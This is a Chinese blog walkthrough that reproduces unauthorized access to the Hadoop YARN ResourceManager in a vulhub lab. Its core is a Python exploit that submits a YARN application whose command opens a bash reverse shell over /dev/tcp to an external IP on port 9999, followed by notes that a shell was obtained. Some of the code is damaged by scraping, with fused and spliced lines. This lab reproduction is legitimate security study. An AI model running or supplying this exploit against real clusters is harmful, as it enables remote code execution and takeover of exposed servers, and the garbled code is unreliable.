Hadoop|Hadoop YARN ResourceManager 未授权访问复现
环境
【Hadoop|Hadoop YARN ResourceManager 未授权访问复现】https://vulhub.org/#/environments/hadoop/unauthorized-yarn/
[root@localhost unauthorized-yarn]# pwd
/root/zzqsmile/vulhub/hadoop/unauthorized-yarn
[root@localhost unauthorized-yarn]# docker-compose up -d
文章图片
图片.png exp
#!/usr/bin/env pythonimport requeststarget = 'http://10.12.10.201:8088/'
lhost = '107.182.30.95' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = https://www.it610.com/article/{'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
复现
- 监听
文章图片
图片.png
- exp运行
文章图片
图片.png
- 成功getshell
文章图片
图片.png 环境移除
[root@localhost unauthorized-yarn]# docker-compose down
推荐阅读
- 【Hadoop踩雷】Mac下安装Hadoop3以及Java版本问题
- Hadoop|Hadoop MapReduce Job提交后的交互日志
- 安装ambari|安装ambari Hadoop--0(更新中...)
- #SQL|#SQL on Hadoop技术分析
- hadoop三个配置文件的参数含义说明(转)
- 搭建大数据三节点(Hadoop、Hbase、Zookeeper、Kafka、Hive)环境(含配置文件参考)
- 【Hadoop学起来】Linux配置$HADOOP_HOME/etc/hadoop/hadoop-env.sh时找不到JAVA_HOME?
- hadoop
- 【教程】手把手教你如何搭建Hadoop单机伪集群
- 大数据|hadoop安装